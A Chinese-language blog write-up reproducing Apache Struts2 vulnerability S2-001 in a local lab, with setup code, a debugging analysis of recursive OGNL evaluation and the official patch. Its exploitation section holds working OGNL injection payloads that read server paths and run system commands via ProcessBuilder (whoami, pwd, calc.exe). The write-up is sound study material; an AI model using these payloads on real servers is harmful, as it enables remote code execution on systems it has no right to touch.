前言

开始好好学Java,跟着师傅们的文章走一遍

Strust简介

Struts2是流行和成熟的基于MVC设计模式的Web应用程序框架。 Struts2不只是Struts1下一个版本,它是一个完全重写的Struts架构。

工作流程:

漏洞复现

漏洞简介

漏洞详情:

https://cwiki.apache.org/confluence/display/WW/S2-001

由于OGNL表达式的递归执行,造成了命令执行

环境搭建

mac下直接brew install tomcat

catalina run启动tomcat

brew services start tomcat后台启动服务

  • Apache Tomcat/8.5.53
  • IntelliJ IDEA

建好后从http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip中下载struts2的jar包

导入项目所需的包File->Project Structure

然后搭建环境,项目结构如图

src下新建struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

修改web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

index.jsp

<%--
Created by IntelliJ IDEA.
User: twosmi1e
Date: 2020/11/19
Time: 2:25 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

<%--
Created by IntelliJ IDEA.
User: twosmi1e
Date: 2020/11/19
Time: 3:09 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

在src下新建名为com.demo.action的package

LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
private String username = null;
private String password = null; public String getUsername() {
return this.username;
} public String getPassword() {
return this.password;
} public void setUsername(String username) {
this.username = username;
} public void setPassword(String password) {
this.password = password;
} public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

然后点击Build->Build Project

配置好tomcat,

homebrew安装的tomcat home:/usr/local/Cellar/tomcat/9.0.33/libexec

run起来会看到如下画面

漏洞利用

点击submit后 ognl表达式会解析执行 返回2

获取tomcat路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取web路径

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

命令执行

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

OGNL表达式

OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,使用它可以存取对象的任意属性,调用对象的方法,使用OGNL表达式的主要作用是简化访问对象中的属性值,Struts 2的标签中使用的就是OGNL表达式。

OGNL三要素

  • 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
  • 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
  • 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;

表达式功能操作清单:

  1. 基本对象树的访问

    对象树的访问就是通过使用点号将对象的引用串联起来进行。

    例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
  1. 对容器变量的访问

    对容器变量的访问,通过#符号加上表达式进行。

    例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
  1. 使用操作符号

    OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。
  1. 容器、数组、对象

    OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]

    同时,OGNL支持对Map的按键值查找:

    例如:#session['mySessionPropKey']

    不仅如此,OGNL还支持容器的构造的表达式:

    例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map

    你也可以通过任意类对象的构造函数进行对象新建

    例如:new Java.net.URL("xxxxxx/")
  1. 对静态方法或变量的访问

    要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):
  1. 方法调用

    直接通过类似Java的方法调用方式进行,你甚至可以传递参数:

    例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
  1. 投影和选择

    OGNL支持类似数据库中的投影(projection) 和选择(selection)。

    投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。

    例如:group.userList.{username}将获得某个group中的所有user的name的列表。

    选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:

    ? 选择满足条件的所有元素

    ^ 选择满足条件的第一个元素

    $ 选择满足条件的最后一个元素

    例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

表达式注入总结By mi1k7ea.

漏洞分析

由上图工作流程我们可以看到,当一个 HTTP 请求被 Struts2 处理时,会经过一系列的 拦截器(Interceptor) ,这些拦截器可以是 Struts2 自带的,也可以是用户自定义的。例如下图 struts.xml 中的 package 继承自 struts-default ,而 struts-default 就使用了 Struts2 自带的拦截器。

找到默认使用的拦截器栈

在拦截器栈 defaultStack 中,我们需要关注 params 这个拦截器。其中, params拦截器 会将客户端请求数据设置到 值栈(valueStack) 中,后续 JSP 页面中所有的动态数据都将从值栈中取出。

在经过一系列的拦截器处理后,数据会成功进入实际业务 Action 。程序会根据 Action 处理的结果,选择对应的 JSP 视图进行展示,并对视图中的 Struts2 标签进行处理。如下图,在本例中 Action 处理用户登录失败时会返回 error 。

然后到/com/opensymphony/xwork2/DefaultActionInvocation.class:253

继续跟,主要问题在translateVariables这个函数里

/**
* Converted object from variable translation.
*
* @param open
* @param expression
* @param stack
* @param asType
* @param evaluator
* @return Converted object from variable translation.
*/
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression; while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1; if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
} String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
} if (TextUtils.stringSet(right)) {
result = result + right;
} expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
} return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

第一次执行的时候 会取出%{username}的值,即%{1+1}

通过if ((start != -1) && (end != -1) && (count == 0))的判断,跳过return

通过Object o = stack.findValue(var, asType);把值赋给o

然后赋值给expression,进行下一次循环

第二次循环会执行我们构造的OGNL表达式

可以看到执行后结果为2

然后再次循环,经过if判断过后return

后面经过处理后返回index.jsp

漏洞成因呢就是在translateVariables函数中递归来验证OGNL表达式,造成了OGNL表达式的执行

漏洞修复

官方修复代码

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
int loopCount = 1;
int pos = 0;
while (true) { int start = expression.indexOf(open + "{", pos);
if (start == -1) {
pos = 0;
loopCount++;
start = expression.indexOf(open + "{");
}
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1; if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
} String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (!TextUtils.stringSet(left)) {
result = o;
} else {
result = left + middle;
} if (TextUtils.stringSet(right)) {
result = result + right;
} expression = left + middle + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
(middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
1;
pos = Math.max(pos, 1);
} else {
break;
}
} return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

可以看到增加了对OGNL递归解析次数的判断,默认情况下只会解析第一层

if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}

总结

入门找了S2-001跟着师傅们的文章学习了一下,原理还是很简单,就是调试java过程很费时间。

最后弹个计算器收尾吧,(不知道为什么mac上弹/System/Application/Calculator.app没弹成功

%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}

参考

https://mochazz.github.io/2020/06/16/Java代码审计之Struts2-001/#漏洞分析

https://xz.aliyun.com/t/2672

https://xz.aliyun.com/t/2044

S2-001漏洞分析的更多相关文章

  1. struts2 s2-032漏洞分析

    0x01Brief Description 最近面试几家公司,很多都问到了s2漏洞的原理,之前调试分析过java反序列化的漏洞,觉得s2漏洞应该不会太难,今天就分析了一下,然后发现其实漏洞的原理不难, ...

  2. Netatalk CVE-2018–1160 越界访问漏洞分析

    编译安装 首先下载带有漏洞的源代码 https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/ 安装一些依赖库(可能不全,到时根据 ...

  3. ECShop 2.x 3.0代码执行漏洞分析

    0×00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0×01 漏洞原理 ECShop 没有对 $GLOBAL[‘_SE ...

  4. Thinkcmf任意漏洞包含漏洞分析复现

    简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的 ...

  5. CVE-2010-3333-office RTF栈溢出漏洞分析

    0x00 前言 此漏洞是根据泉哥的<漏洞战争>来学习分析的,网上已有大量分析文章在此只是做一个独立的分析记录. 0x01 复现环境 操作系统-->windows7 x64 软件版本- ...

  6. 漏洞分析:CVE-2017-17215

    漏洞分析:CVE-2017-17215 华为HG532路由器的命令注入漏洞,存在于UPnP模块中. 漏洞分析 什么是UPnP? 搭建好环境(使用IoT-vulhub的docker环境),启动环境,查看 ...

  7. DLink 815路由器栈溢出漏洞分析与复现

    DLink 815路由器栈溢出漏洞分析与复现 qemu模拟环境搭建 固件下载地址 File DIR-815_FIRMWARE_1.01.ZIP - Firmware for D-link DIR-81 ...

  8. Zabbix 漏洞分析

    之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 ...

  9. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  10. CVE-2016-0143 漏洞分析(2016.4)

    CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...

随机推荐

  1. [转载]PHP命名规则

    PHP命名规则 引用地址:http://www.cnblogs.com/pengxl/p/3571157.html 就一般约定而言,类.函数和变量的名字应该是能够让代码阅读者能够容易地知道这些代码的作 ...

  2. [转载]CentOS 7安装配置Samba服务器

    假设我们有这样一个场景 共享名路径权限SHAREDOC/smb/docs所有人员包括来宾均可以访问RDDOCS/smb/tech仅允许特定组的用户进行读写访问 特定组的组名为RD,目前的Alice.J ...

  3. spring Data Jpa的依赖+配置

    spring data jpa 是spring基于的orm框架,jpa规范的基础上封装的一套JPA应用框架 添加的相关依赖: <properties> <spring.version ...

  4. Python自动化测试发送邮件太麻烦?!一起聊一聊 Python 发送邮件的3种方式

    1. 前言 发送邮件,我们在平时工作中经用到,做为测试人员,在自动化测试中用的也比较多,需要发送邮件给某领导 SMTP是Python默认的邮件模块,可以发送纯文本.富文本.HTML 等格式的邮件 今天 ...

  5. 小程序 rich-text 处理显示

    VIEW <view class="richText"> <rich-text nodes="{{richTextHTML}}" bindta ...

  6. dg create datafile auto failed 排除处理

    1.Environment:11.2.0.4 dg 2.Symptoms:告警描述:Wed Sep 22 14:29:15 2021Errors in file /data/app/oracle/di ...

  7. MYSQL小版本升级(5.7.21至5.7.25)

    1.环境确认 [root@mysql ~]# ps -ef |grep -i mysql root 9173 1 0 2020 ? 00:00:00 /bin/sh /mysql/data/mysql ...

  8. 易华录 X ShardingSphere|葫芦 App 后台数据处理的逻辑捷径

    "ShardingSphere 大大简化了分库分表的开发和维护工作,对于业务的快速上线起到了非常大的支撑作用,保守估计 ShardingSphere 至少为我们节省了 4 个月的研发成本.& ...

  9. The Data Way Vol.1|风口下的开源市场:如何看待开源与商业的关系?

    关于「The Data Way」 「The Data Way」是由 SphereEx 公司出品的一档播客节目.这里有开源.数据.技术的故事,同时我们关注开发者的工作日常,也讨论开发者的生活日常:我们聚 ...

  10. SpringBoot整个Druid

      Druid简介 Java程序很大一部分要操作数据库,为了提高性能操作数据库的时候,又不得不使用数据库连接池. Druid 是阿里巴巴开源平台上一个数据库连接池实现,结合了 C3P0.DBCP 等 ...